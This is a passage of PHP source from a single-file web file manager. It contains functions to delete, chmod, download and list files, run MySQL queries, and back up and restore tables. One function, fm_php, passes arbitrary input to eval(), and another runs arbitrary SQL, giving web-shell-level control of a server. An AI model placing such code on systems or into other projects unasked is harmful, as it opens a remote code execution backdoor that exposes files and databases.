$filemtime); } } $lang = json_decode($translation_string, true); } } /* Functions */ //translation function __($text) { global $lang; if (isset($lang[$text])) { return $lang[$text]; } else { return $text; } } //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if ($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if ($el != '.' && $el != '..') { fm_del_files($file . '/' . $el, true); } } } if (@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false) { $perms = fileperms($file); $info = ''; if (!$if) { if (($perms & 0xc000) == 0xc000) { //Socket $info = 's'; } elseif (($perms & 0xa000) == 0xa000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= $perms & 0x100 ? 'r' : '-'; $info .= $perms & 0x80 ? 'w' : '-'; $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-'); //Group $info .= $perms & 0x20 ? 'r' : '-'; $info .= $perms & 0x10 ? 'w' : '-'; $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-'); //World $info .= $perms & 0x4 ? 'r' : '-'; $info .= $perms & 0x2 ? 'w' : '-'; $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-'); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode, 9, '-'); $trans = array('-' => '0', 'r' => '4', 'w' => '2', 'x' => '1'); $mode = strtr($mode, $trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if (@is_dir($file) && $rec) { $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die; } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die; } } } //show folder size function fm_dir_size($f, $format = true) { if ($format) { $size = fm_dir_size($f, false); if ($size <= 1024) { return $size . ' bytes'; } elseif ($size <= 1024 * 1024) { return round($size / 1024, 2) . ' Kb'; } elseif ($size <= 1024 * 1024 * 1024) { return round($size / (1024 * 1024), 2) . ' Mb'; } elseif ($size <= 1024 * 1024 * 1024 * 1024) { return round($size / (1024 * 1024 * 1024), 2) . ' Gb'; } elseif ($size <= 1024 * 1024 * 1024 * 1024 * 1024) { return round($size / (1024 * 1024 * 1024 * 1024), 2) . ' Tb'; } else { return round($size / (1024 * 1024 * 1024 * 1024 * 1024), 2) . ' Pb'; } // ;-) } else { if (is_file($f)) { return filesize($f); } $size = 0; $dh = opendir($f); while (($file = readdir($dh)) !== false) { if ($file == '.' || $file == '..') { continue; } if (is_file($f . '/' . $file)) { $size += filesize($f . '/' . $file); } else { $size += fm_dir_size($f . '/' . $file, false); } } closedir($dh); return $size + filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if (!empty($exp)) { $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if (!empty($type) && $type !== 'all') { $func = 'is_' . $type; } if (@is_dir($directory)) { $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if (substr($filename, 0, 1) != '.' || $do_not_filter) { if ((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))) { $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get, $link, $name, $title = '') { if (empty($title)) { $title = $name . ' ' . basename($link); } return '  ' . $name . ''; } function fm_arr_to_option($arr, $n, $sel = '') { foreach ($arr as $v) { $b = $v[$n]; $res .= ''; } return $res; } function fm_lang_form($current = 'en') { return '
'; } function fm_root($dirname) { return $dirname == '.' or $dirname == '..'; } function fm_php($string) { $display_errors = ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect() { global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query) { global $fm_config; $query = trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection, $query); if ($queried === false) { ob_end_clean(); return mysqli_error($connection); } else { if (!empty($queried)) { while ($row = mysqli_fetch_assoc($queried)) { $query_result[] = $row; } } $vdump = empty($query_result) ? '' : var_export($query_result, true); ob_end_clean(); $connection->close(); return '
' . stripslashes($vdump) . '
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if ($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while ($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',', $tables); } $return = ''; foreach ($tables as $table) { $result = $mysqldb->query('SELECT * FROM ' . $table); $num_fields = mysqli_num_fields($result); $return .= 'DROP TABLE IF EXISTS `' . $table . '`' . $delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE ' . $table)); $return .= $row2[1] . $delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while ($row = mysqli_fetch_row($result)) { $return .= 'INSERT INTO `' . $table . '` VALUES('; for ($j = 0; $j < $num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n", "\\n", $row[$j]); if (isset($row[$j])) { $return .= '"' . $row[$j] . '"'; } else { $return .= '""'; } if ($j < $num_fields - 1) { $return .= ','; } } $return .= ')' . $delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\\d]+ #is", '', $return); } $return .= "\n\n\n"; } //save file $file = gmdate("Y-m-d_H-i-s", time()) . '.sql'; $handle = fopen($file, 'w+'); fwrite($handle, $return); fclose($handle); $alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file . ': ' . fm_link('download', $path . $file, __('Download'), __('Download') . ' ' . $file) . ' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute, "r+"); $sqlFile = fread($f, filesize($sqlFileToExecute)); $sqlArray = explode($delimiter, $sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt) > 3) { $result = $mysqldb->query($stmt); if (!$result) { $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) { return __('Success') . ' — ' . $sqlFileToExecute; } else { return $sqlErrorText . '
' . $stmt; } } function fm_img_link($filename) { return './' . basename(__FILE__) . '?img=' . base64_encode($filename); } function fm_home_style() { return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name, $value) { global $fm_config; return '